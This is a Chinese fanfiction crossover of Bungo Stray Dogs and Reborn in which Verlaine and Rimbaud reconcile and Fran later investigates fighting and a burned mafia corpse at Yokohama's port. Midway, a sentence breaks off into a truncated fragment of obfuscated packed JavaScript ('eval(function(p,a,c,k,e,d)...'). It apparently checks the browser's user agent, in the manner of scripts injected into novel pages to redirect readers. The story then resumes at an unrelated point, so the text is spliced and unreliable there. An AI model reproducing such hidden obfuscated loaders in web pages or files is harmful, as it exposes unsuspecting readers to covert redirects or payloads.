弗兰只觉得后颈一紧,整个人像被拎起的猫崽般悬空,视野瞬间天旋地转。魏尔伦的动作快得超越了视觉,只留下一句冰冷的“老地方见,别让我等你太久”在破碎的空间里回荡。 “喂!等等——!”刚回来还没搞清楚状况的弗兰的抗议被灌入喉咙的强风噎住。 八十多米的高度在魏尔伦脚下如同平地,他如同黑色的流星,精准地落在下方一条偏僻的后巷。 双脚重重地砸在冰冷坚硬的地面上,巨大的冲击力让弗兰膝盖一软,差点当场表演一个五体投地。魏尔伦松开手,他像一滩软泥般滑坐在地,大口喘着粗气,感觉内脏都移了位。 弗兰揉着发麻的后颈,小声嘀咕:“Me的脊椎……魏尔伦,你这降落方式比师父的斯巴达教育还要狂野,Me觉得需要工伤赔偿……” 他偷偷抬眼观察魏尔伦。 魏尔伦背对着他,站在巷子阴影与微弱光线的交界处,金色的长发凌乱地披散着,沾染着未来时空的尘埃与难以言喻的疲惫。 他微微佝偻着背,肩膀紧绷,像一头刚刚经历殊死搏斗、伤痕累累却依旧危险的雄狮。空气中弥漫着一种风暴过后的死寂,以及魏尔伦身上散发的、几乎凝成实质的痛苦与混乱。 弗兰敏锐地察觉到气氛的异常。魏尔伦他比离开时更加……破碎?他经历过什么? 就在这时,另一个身影轻盈地落在巷口,挡住了大部分外界的光线。 是兰波。 他穿着厚重外套,平时保暖的耳罩在刚刚的战斗中不知道被丢到哪去了,眼神异常复杂,混合着担忧、警惕,以及一丝连他自己都未曾察觉的、小心翼翼的期待。 他没有立刻靠近,只是静静地站在那里,目光紧紧锁在魏尔伦的背影上,仿佛在确认眼前这个散发着毁灭气息的存在,是否还是他记忆中那个固执又孤独的搭档。 魏尔伦缓缓转过身。 巷子里的光线昏暗,却足以照亮他眼中翻滚的情绪——那是一种弗兰从未在他身上见过的、近乎绝望的挣扎。痛苦、悔恨、暴戾,还有一丝……茫然?他看向兰波,视线锐利得像刀子,却又在深处藏着某种脆弱。 “你来了。”魏尔伦的声音沙哑得厉害,仿佛喉咙被砂纸磨过。 兰波向前一步,声音低沉而紧绷:“保罗。你把他带到这里做什么?”他指的是弗兰,目光却片刻不离魏尔伦。 “你看到了什么?十年后火箭炮……” “我看到了!”魏尔伦猛地打断他,声音带着一种歇斯底里的破碎感。 “我看到了你用你的彩画集,用你自己!去填那个该死的特异点!就为了阻止我!我看到了,没有你们的未来……谁允许你这么做了!” 巷子里死一般的寂静,只有魏尔伦粗重的喘息声在回荡。弗兰屏住了呼吸,他明白了。就和他看到的平行时空一样,魏尔伦看到了那个最残酷、最绝望的未来——兰波牺牲自己阻止了他的彻底失控。 “所以你就这样?” 兰波的声音依旧平稳,但那份平静下压抑的暗流开始涌动,他指向魏尔伦身后被吓得缩了缩脖子的弗兰,“用这种方式,像抢一件战利品一样,把弗兰带到这里?把他绑在你的身边?保罗,这就是你从那个‘未来’里学到的唯一东西?恐惧和……更深的束缚?” “你懂什么!” 魏尔伦像被戳中了最痛处,猛地后退一步,几乎是无意识地,身体侧移,将弗兰完全挡在自己高大的身影之后。 这个动作充满了保护的意味,却也带着不容置疑的独占性。“我不能再失去你们任何一个!不能再经历一次!那种……那种你在我眼前消失、而我什么都做不了的感觉!我宁愿……” 他的声音再次低了下去,带着一种玉石俱焚般的决绝,“我宁愿把你们都锁在我看得见的地方!用任何方式!” 弗兰终于忍不住了,他艰难地从魏尔伦的阴影里探出半个脑袋,青色的头发被夜风吹得乱糟糟的,语气带着一种劫后余生的虚弱吐槽:“魏尔伦,Me强烈建议你考虑一下家庭心理咨询……这种沟通方式对青少年心理健康非常不友好,而且Me快冻僵了……阿嚏!” 一个响亮的喷嚏适时地打断了他后面的话。 这声不合时宜的喷嚏,像一根针,微妙地刺破了紧绷到极致的气氛。魏尔伦紧绷如岩石的肩膀几不可察地松动了一丝。 兰波轻轻叹了口气,那叹息声几乎消散在风里。他没有再试图靠近,目光缓缓扫过魏尔伦伤痕累累的大衣,扫过他凌 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“保罗,那个选择,从来不是因为‘只有那一条路’,”兰波的声音带着一种不容置疑的力量,“而是因为,你是我带回这个世界的搭档。保罗·魏尔伦。无论你是‘暗杀王’,还是失控的怪物,或者……只是一个迷路的笨蛋。” “保罗,那个‘未来’,它或许让人很绝望。” 兰波的声音很轻,却清晰地穿透风声,“它像一面最残酷的镜子,照见了如果我们继续迷失在恐惧和错误的道路,最终会走向何方——彻底的分离与湮灭。” 他微微停顿,目光越过魏尔伦僵硬的肩头,落在弗兰身上,那少年正抱着胳膊,冻得嘴唇有些发白,但绿眼睛却一眨不眨地看着他们。 “但镜子只能映照,它决定不了现在。” 兰波的语气陡然变得无比清晰和坚定,带着一种斩断迷惘的力量,“十年火箭炮让你窥见了深渊,但选择权,始终在我们自己手中,在此时此刻!” 他的语气带上了一丝久违的、极其轻微的、属于过去的熟稔。 魏尔伦缓缓放下了捂着脸的手。他抬起头,那双总是盛满风暴的蓝眼睛里,此刻只剩下破碎的茫然和一丝难以置信的微光,怔怔地看着兰波。 “那个未来很糟糕,”兰波继续说着,声音不高,却字字敲在魏尔伦心上,“它证明了我们过去的错误有多深重,证明了失控的代价有多可怕。但它也证明了另一件事——它证明了,即使在那样的绝境下,我依然无法放弃你。就像……就像最初我选择了你一样。” 兰波微微偏过头,似乎有些难为情,但语气却无比坚定,“那不是‘唯一的路’,那是我选择的路。” “选择……”魏尔伦喃喃地重复着这个词,仿佛第一次理解它的重量。他眼中的风暴渐渐平息,只剩下深沉的疲惫和一丝新生的、微弱的光亮。 他看着兰波,不再是透过愤怒和偏执的滤镜,而是像第一次真正看清对方眼底那份从未动摇过的、混杂着责任、愧疚与某种深刻羁绊的复杂情感。“你选择……为了我……” “而你现在也在这里,保罗。”兰波的声音柔和下来,带着一种尘埃落定后的释然。 “我们可以做一个……和那个绝望未来不同的选择。不是吗?” 魏尔伦沉默了。 他长久地凝视着兰波,仿佛要将对方此刻的样子刻进灵魂深处。巷子里的沉重气氛开始松动,那股令人窒息的痛苦和暴戾悄然退潮。 弗兰甚至觉得,魏尔伦紧绷的肩膀似乎微微塌陷了一点,那是一种卸下千斤重担后的疲惫。 “啧。”弗兰终于忍不住出声,打破了这过于沉重的安静。 他抱着手臂,用一种故作轻松的语气说:“所以,大型家庭伦理剧终于要进入和解篇了吗?Me的脖子差点被掐断,还被当成行李拎来拎去,就是为了看你们互相坦白心迹?不过……” 他顿了顿,看着魏尔伦那依旧混乱但明显不再充满攻击性的眼神,以及兰波脸上那抹罕见的、真实的温和。 “能看到‘暗杀王’先生露出这种‘我好像做错了事但不知道怎么道歉’的表情,也算值回票价了。虽然过程有点费脖子。” 魏尔伦瞥了少年一眼,那眼神不再是冰冷的审视,而是一种带着点别扭的、近乎尴尬的复杂情绪。他动了动嘴唇,似乎想说什么,最终却只是生硬地转过头,低声道:“……闭嘴,小鬼。” 兰波看着魏尔伦这副样子,眼底最后一丝紧绷也消散了。他无奈地摇了摇头,对弗兰露出一个安抚的眼神。 弗兰看看左边,又看看右边,觉得这沉重深刻的氛围实在有点超出他这个少年的承受范围。 他清了清嗓子,用一种试图打破凝重的、带着点虚张声势的语气开口:“那个……既然大家都有点知错了的意思,那Me是不是可以申请回室内了?再待下去,Me真的要变成被冻死的吉祥物了,这死法也太不酷炫了……” 兰波闻言,唇角终于极其轻微地向上弯了一下,一个转瞬即逝、却真实存在的弧度。他没有回答弗兰,目光依旧落在魏尔伦身上,带着无声的询问和等待。 魏尔伦终于动了。 他转过身,目光第一次如此清晰地落在弗兰身上,又缓缓移向兰波。那双灰蓝色的眼眸深处,翻腾的风暴似乎暂时平息了,留下的是被冲刷过的、略显空旷的疲惫,以及一种更深沉、更复杂的东西——一种刚刚萌芽、尚显笨拙的……归属感? 他没有说话,只是朝着来时的方向,微微偏了下头。一个无声的示意。 随即迈开脚步,沿着崎岖的礁石小径往回走。他的背影依旧高大,却不再像一堵隔绝一切、拒绝靠近的冰冷高墙。步伐沉稳,带着一种卸下重负后的疲惫,也带着一丝不易察觉的、走向某个方向的笃定。 前方,城市沉睡的轮廓在渐次明亮的灰白天光中逐渐清晰。废墟与伤痕依旧存在,但新的一天无可阻挡地降临了。 就在即将踏上通往城市边缘那条荒芜小路时,走在前面的魏尔伦,脚步几不可察地顿了一下。他没有回头,只有低沉沙哑、却清晰无比的声音,乘着微咸的晨风,轻轻地送入了身后两人的耳中: “……回家吧。” 兰波牵着弗兰的手,微微收紧了一瞬。弗兰只露出一双绿色的眼睛,望着魏尔伦在晨光熹微中显得不再那么孤绝的背影。 片刻的停顿后,兰波的声音响起,不高,却带着一种尘埃落定般的温和力量,穿透清冷的晨风: “嗯。回家,保罗。” 23.第 23 章 窗外的天色阴沉得像是浸透了墨汁的破抹布,压在横滨鳞次栉比的楼宇之上。 弗兰盘腿坐在一堆散乱的文件上,那张总是没什么表情的脸上难得地拧起一个小小的疙瘩。他指尖捏着的,正是森鸥外送来的、关于他那两位监护人未来十年“卖身契”的最终条款。 手机被随意地丢在文件堆旁,刺耳的免提声里混杂着密集的枪声和爆炸的闷响,活像一场小型战争在电话那头同步直播。 “所以,”弗兰的声音透过免提传出,带着一种事不关己的平板腔调,精准地盖过背景的喧嚣,“森先生对这事头疼得快掉头发了吧?虽然官方很贴心地用‘燃气管道保养不善,意外爆炸’这种连三岁小孩都糊弄不过去的理由搪塞了大众,但有点脑子的家伙稍微查一下细节就能知道那动静根本不是什么‘意外’。” 他顿了顿,手指无意识地卷着一缕淡绿色的发梢,“恭喜Me的监护人?听起来真讽刺。结果就是他们得给港口黑手党打工十年?” 电话那头传来一声轻笑,即使在枪林弹雨中,太宰治那特有的、带着点黏腻又漫不经心的语调也清晰无比。 “哎呀呀,弗兰君真是犀利呢~没错哦,森先生可是顶着巨大的压力才争取到这个‘优惠’条件的。要知道,港口黑手党可不是慈善机构,收留两个身份敏感、破坏力还堪比移动核弹的超越者,风险成本高得吓死人呢。十年‘义务劳动’,已经是看在魏尔伦和兰堂‘诚心悔过’以及他们那不可替代的‘价值’份上了,而且我们是发工资的。” 弗兰的目光扫过桌上那沓盖着鲜红森式会社的印章、条款苛刻得足以让奴隶主落泪的合同,嘴角扯出一个几不可见的弧度:“价值?呵。在这个连个像样超越者都没有的国家,官方一下子扣下两个顶级战力,难道不是赚得盆满钵满?Me很好奇,森先生这么精明的商人,难道没趁机从政府那边狠狠敲诈一笔好处费?比如免税几年,或者要到那个他一直很想要的什么证?” 他的语气充满了对官方和港口黑手党之间肮脏交易的洞悉与嘲讽。 “想套我话吗,弗兰君?” 太宰的声音带着愉悦的笑意,背景音里传来几声精准的点射和重物倒地的闷响,“没有的哦~而且,最重要的是,你们三个人的身份要是被官方彻底捅破,结局可不是打白工这么简单,而是被礼貌地‘请’上回国的专机,说不定还要附带一份外交抗议书呢。森先生为了压下这事,在谈判桌上可是跟那些官僚们扯皮扯得脸都绿了,很辛苦的~” 弗兰翻了个白眼,尽管电话那头看不见。 “辛苦?Me看他是乐在其中吧。你不说,兰堂总会告诉Me的。” 这话他说得毫无底气。那两位大家长,尤其是兰堂,简直像护崽的母鸡成精,恨不得把他塞进真空包装袋里隔绝所有关于港口黑手党和这次事件的污染性情报。 严防死守的程度,让他怀疑自己是不是变成了某种需要无菌环境的易碎品。 指望他们主动透露?还不如指望港口黑手党明天集体金盆洗手。 看来只能呼叫那位“下水道之王”——费奥多尔了。那位“魔人”先生,真如他组织的称号一般,像阴沟里最狡猾的老鼠,总能从最意想不到的缝隙里叼出你想要的东西。 至于费奥多尔那位叫果戈里的同伴? 弗兰撇撇嘴。那个聒噪的小丑在横滨这场大戏落幕后就彻底没了踪影。 费奥多尔倒是轻描淡写地提过一句:“尼古莱对自由有了新的顿悟,正在欧洲大陆进行……嗯,富有创造性的实践。” 弗兰对此的理解是:果戈里大概又在哪个国家搞些让人血压飙升的行为艺术了。 “嗯哼?”太宰治的声音带着毫不掩饰的戏谑,“他们?魏尔伦现在满脑子都是黏着中也,兰堂则像个操心的老母亲在办公室收拾你们那个被拆得七零八落的残局。忙得脚不沾地,连喝口水的功夫都没有,还有空跟你这个未成年儿童唠嗑这些‘大人的烦恼’?弗兰君,自我安慰也要有个限度哦~” 背景的枪声渐渐稀疏,似乎他负责的“清扫”工作已近尾声。 弗兰没理会太宰的调侃,目光投向窗外。 港口黑手党那标志性的五栋大楼前不久才刚修补好,横滨的硝烟味却又一次浓烈得呛人。 那场因“五千亿遗产”而起的疯狂盛宴,已经把这座城市彻底变成了一个巨大的角斗场。 出门买个菜都能撞上两伙人拿着RPG对轰,伤亡数字像失控的股票一样疯狂飙升。 在弗兰短暂的横滨记忆中,这地方似乎就没真正平静过。不过,这种局面大概会让某个躲在暗处的情报贩子笑出声吧? 费奥多尔对此可是表达了十足的“乐观”,如果不是欧洲那边有更要命的剧本等着他导演,弗兰毫不怀疑那个病弱的俄罗斯人会立刻买张机票飞回来,亲眼看一看这场“历史性的作茧自缚”。 “魏尔伦前不久被森先生‘体恤’地安排了个美差,带着中也去欧洲出任务了。”太宰的声音恢复了那种懒洋洋的调子,背景彻底安静下来,只有他轻微的脚步声,“想必他一定开心得很吧?不过算算时间……他们好像是今天回来?” 他刻意加重了“体恤”二字。 “……确实,”弗兰拖长了音调,语气平板得像在念讣告,“森先生真是‘体贴入微’啊。不仅解决了麻烦,还主动帮魏尔伦完成了‘和弟弟一起出差’的心愿。Me都要感动得为他唱一首赞歌了。” 这捧读的赞美从他嘴里说出来,比恶毒的诅咒还刺耳。 “唯独说森先生是‘好人’这一点,”太宰治的声音陡然冷了几度,带着一种真切的恶心感,“真是让人听得生理性不适,隔夜饭都要吐出来了。” 电话那头似乎传来金属物件被踢开的清脆声响。太宰显然结束了任务,正对着满地狼藉发泄不满。 “压榨!这是赤裸裸的压榨!”太宰开始了他的控诉,语速快得像连珠炮,“没完没了的任务,连轴转得连自杀的时间都挤不出来!这完全是压榨未成年劳动力的黑心公司!还有,他居然把我精心调配的安眠药晚餐倒进了垃圾桶!最最最不可饶恕的是——” 他的声音拔高了八度,充满了悲愤,“他居然说!以后会经常安排我!和那个暴躁易怒、品味奇差、身高永远停留在国中水平的小矮子蛞蝓搭档!这绝对是精神污染!是酷刑!是森先生对我人格的终极侮辱!” 弗兰听着电话那头太宰治声情并茂、堪比舞台剧的控诉,面无表情地拿起桌上一个印着菠萝图案的杯子喝了口水。 等太宰的“咏叹调”告一段落,他才慢悠悠地开口:“Me觉得这不是挺好吗?暴躁易怒的小矮子和阴险厌世的自杀狂魔,一个负责物理爆破,一个负责精神污染,简直是天造地设的互补型搭档。森先生真是知人善任,慧眼识珠。” 他用最客观的语气,说着最扎心的话。 电话那头瞬间陷入了死寂。几秒钟后,太宰治冰冷得能冻掉人耳朵的声音传来:“……弗兰君,你是故意来恶心我的吗?” “显而易见。”弗兰诚实地回答。 “恭喜你,你成功了。”伴随着这句咬牙切齿的宣告,通话被对方干脆利落地掐断,只留下一串忙音。 “嘟——嘟——” 弗兰看着黑掉的手机屏幕,难得地愣了一下。他本来还想跟太宰提一下那个诡异的十年火箭炮,以及那个来自十年后、当上了港口黑手党首领的太宰治要他带的话。 不过……算了。 弗兰无趣地撇撇嘴。要是让现在的太宰知道十年后自己不仅没死成,还坐上了森先生的位置,成了自己最讨厌的那种人,想必那张总是挂着虚假笑容的脸会瞬间裂开,然后陷入一种极度郁闷和遗憾的复杂情绪中吧? 光是想象那个场景,弗兰就觉得有点……愉悦? 不过,那个未来的太宰治……弗兰的眼神沉静下来,手指无意识地敲击着桌面。那人对弗兰这边世界的发展似乎了如指掌,甚至能预见到弗兰会来到这个时间点。 特意让弗兰带话给过去的自己,这意味着什么?意味着在未来的太宰治身上,或者说在他通向那个未来的道路上,必然发生了什么极其糟糕、让他不惜付出代价也要尝试干预的事情。 弗兰若有所思地望向窗外灰蒙蒙的天空,心底掠过一丝难以言喻的凝重。 --- 这场由五千亿引发的全城暴走,已经持续了整整八十多天。混乱的涟漪甚至越过了浩瀚的太平洋,惊动了远在意大利的彭格列。 手机震动,弗兰点开信息,是库洛姆发来的关心,措辞温柔却透着忧虑:[弗兰,横滨的消息传过来很吓人,大家都很担心你。骸大人、BOSS、狱寺先生、山本先生……还有蓝波和一平,都问起你。如果情况太危险,BOSS这边可以立刻安排专机接你来意大利避一避。] 弗兰看着屏幕上那一长串被代表“大家”的名字,嘴角微微抽动了一下。 师姐还是老样子,一个人的关心能自动扩展成一个家族的意志。他指尖飞快地回复,带着一贯的冷淡风格:[Me很好,谢谢师姐关心(附加一个青蛙表情)。这里的□□火拼对Me来说顶多是饭后散步级别的背景噪音。Me的监护人可是两个超越者,虽然其中一个恋爱脑晚期,另一个有过度的保护欲,但战斗力还是能保证Me在横滨横着走也没人敢收过路费的。] 信息刚发出去没多久,库洛姆的回复就来了,文字间似乎带着点无奈的笑意:[那就好。不过BOSS这边确实很关注横滨的局势,担心混乱会失控蔓延,影响……嗯,各方面的平衡。所以彭格列也稍微向日本政府那边表达了一下‘关切’。] 弗兰挑起一边眉毛。 意大利黑手党向日本政府施压?这画面怎么想都带着点魔幻现实主义色彩。 [放心啦,]库洛姆似乎猜到了他的腹诽,紧接着补充道,[交涉很‘温和’。那边已经保证,三天之内,这场闹剧一定会结束。再怎么说,彭格列在日本也是有分部的。如果……我是说万一,你遇到什么港口黑手党也解决不了的麻烦,记得可以去并盛町找云雀先生帮忙。] 信息末尾还附带了一个小小的微笑表情。 云雀恭弥?弗兰脑海中立刻浮现出那个见过几面,穿着旧式校服、手持浮萍拐、对“群聚”和“破坏风纪”零容忍的凶兽形象。 去找他?怕不是麻烦没解决,自己先因为“群聚”(哪怕只是和他两个人待在一起)或者“发型太奇怪违反并盛町风纪”而被咬杀掉。更可能的是对方纯纯看六道骸弟子不爽而已,他属实是被迁怒的。 他刚想吐槽,库洛姆的下一条信息又跳了出来: [对了,骸大人说……] 信息在这里停顿了一下,弗兰似乎能隔着屏幕看到库洛姆有些困扰地在组织语言。 [骸大人说你天天在外面‘放养’也不是长久之计。正好彭格列有个部门在招人,工作性质比较灵活自由,属于暗杀方面的,很适合你。他让你……嗯……准备一份简历投过去试试。] “啊,Me才不要!”弗兰几乎是立刻对着手机念出了声,仿佛六道骸就在他面前一样抗拒。 “做简历麻烦死了!”他烦躁地抓了抓头发,“彭格列的雾守有师父那个凤梨头还不够吗?难道他想凑一桌雾守打麻将?” 他一边噼里啪啦地打着字准备回绝,一边下意识地望向窗外。不知何时起,街道上弥漫开一层薄薄的、灰白色的雾气,无声无息,却带着一种粘稠的质感,让远处的楼房轮廓变得模糊不清。 这雾起得诡异而迅速。 “喂?师姐?”弗兰把打好的拒绝信息发了出去,却发现状态栏一直显示“发送中”,最后变成了一个刺眼的红色感叹号。 他皱紧眉头,又尝试拨号,听筒里只有一片死寂的忙音。屏幕顶端的信号格,赫然显示着一个冰冷的“0”。 一种难以言喻的、仿佛细密冰针扎入皮肤的不安感,毫无征兆地顺着脊椎爬升。弗兰猛地站起身,快步走到窗边,用力推开窗户。 街道的景象让他瞳孔微缩。 空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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越靠近港口区域,战斗的痕迹就越发明显:墙壁上的新鲜弹孔、地面焦黑的爆炸痕迹、散落一地的玻璃碎片和被暴力撞断的护栏。空气中除了海水的咸腥,还混杂着一股淡淡的硝烟味和……另一种难以言喻的焦糊气味。 “呼……呼……” 当弗兰终于抵达堆满生锈集装箱的庞大港口区域时,他扶着膝盖,狠狠地喘了几口气。 苹果头套下,他的呼吸有些急促。好久没有这样纯粹依靠体力进行长距离奔波了,这感觉……真是久违的不爽。 战斗的声音似乎已经平息,只剩下火焰燃烧物体发出的噼啪声,以及海风卷着灰烬飘过的呜咽。 眼前的景象堪称惨烈。 大片大片的区域被高温火焰舔舐过,集装箱扭曲变形,表面覆盖着厚厚的黑灰,一些地方甚至融化成赤红的铁水,缓缓流淌、冷却。空气中弥漫着浓烈的金属灼烧和有机物碳化的刺鼻气味。这显然是火焰系异能者的杰作而且威力相当惊人。 弗兰蹲下身,从一堆灰烬旁捡起一枚扭曲变形的弹壳。黄铜质地,还带着余温。他仔细看了看弹壳底部的印记和口径,眉头锁得更紧。 这弹壳属于一种大口径手枪,常见于□□分子,港口黑手党精锐部队现在也有一部分在用这种制式装备。 更重要的是,现场残留的痕迹表明,战斗的一方是火焰异能者,而另一方……似乎只有这种常规枪械? 这完全是一场不对等的屠杀。 他站起身,锐利的目光如同探照灯般扫视着狼藉的地面。很快,一溜断续的、深色的痕迹吸引了他的注意——是延伸状的血迹,尚未完全干涸。 血迹蜿蜒着,消失在由巨大集装箱构成的、如同钢铁迷宫般的狭窄通道深处。 弗兰收敛起所有气息,像一只真正的猫科动物,悄无声息地循着血迹追踪。 集装箱之间的通道阴暗、潮湿,弥漫着铁锈和血腥的混合气味,路径曲折复杂,岔路众多。血迹时断时续,仿佛垂死者最后的挣扎。 他追踪了大约五分钟,在一个堆满废弃油桶的死角尽头,看到了血迹的尽头。 一个穿着黑色西装的男人,半个身体倚靠在冰冷的集装箱壁上。他面朝的方向,正是弗兰来时的路,似乎是在拼命逃离什么。 男人的上半身,尤其是胸口的位置,呈现出一种可怕的焦黑色,肌肉和衣物完全碳化粘连在一起,散发出浓烈的焦臭味。 他的双眼瞪得极大,瞳孔已经扩散,里面凝固着一种极致的恐惧和难以置信的惊骇,仿佛在生命的最后一刻看到了某种完全超出理解范畴的恐怖景象。 他的右手还紧紧握着一把打空了弹匣的手枪,手指僵硬地扣在扳机上。尸体早已冰冷僵硬。 “啧。”弗兰发出一声几不可闻的轻嗤。普通人拿着手枪对抗火焰异能者?这简直比用鸡蛋去碰石头还要愚蠢和绝望。 结局从开始就注定了。 他的目光落在男人西装内袋露出的一个黑色证件夹一角。弗兰没有直接用手去碰,而是从口袋里掏出一支笔,用笔尖小心翼翼地挑开证件夹。 里面是一张印着港口黑手党标志和这个男人照片的ID卡,职位一栏写着“后勤运输组 - 第三小队”。 果然是港口黑手党的人,而且看起来是个中级成员。 弗兰收回笔,眼神变得凝重起来。 这个位置,离港口黑手党的一个分部已经非常近了。这里发生如此激烈的异能者袭击事件,甚至杀死了港口黑手党的成员,那边怎么可能毫无反应?而且一个中级成员单枪匹马来做任务也不合逻辑,没有支援,没有后续的搜查队…… 除非,分部那边也出事了。而且是大麻烦。 灰白的雾气在集装箱的缝隙间无声地流动,像冰冷的触手。弗兰站在尸体旁,头套下那张清秀的脸没有任何表情,只有翠绿的眼眸深处,闪烁着冷静而锐利的光芒。 他抬起头,望向港口黑手党那几栋在浓雾中若隐若现、如同沉默巨兽般的黑色大楼。 要去那边看看吗?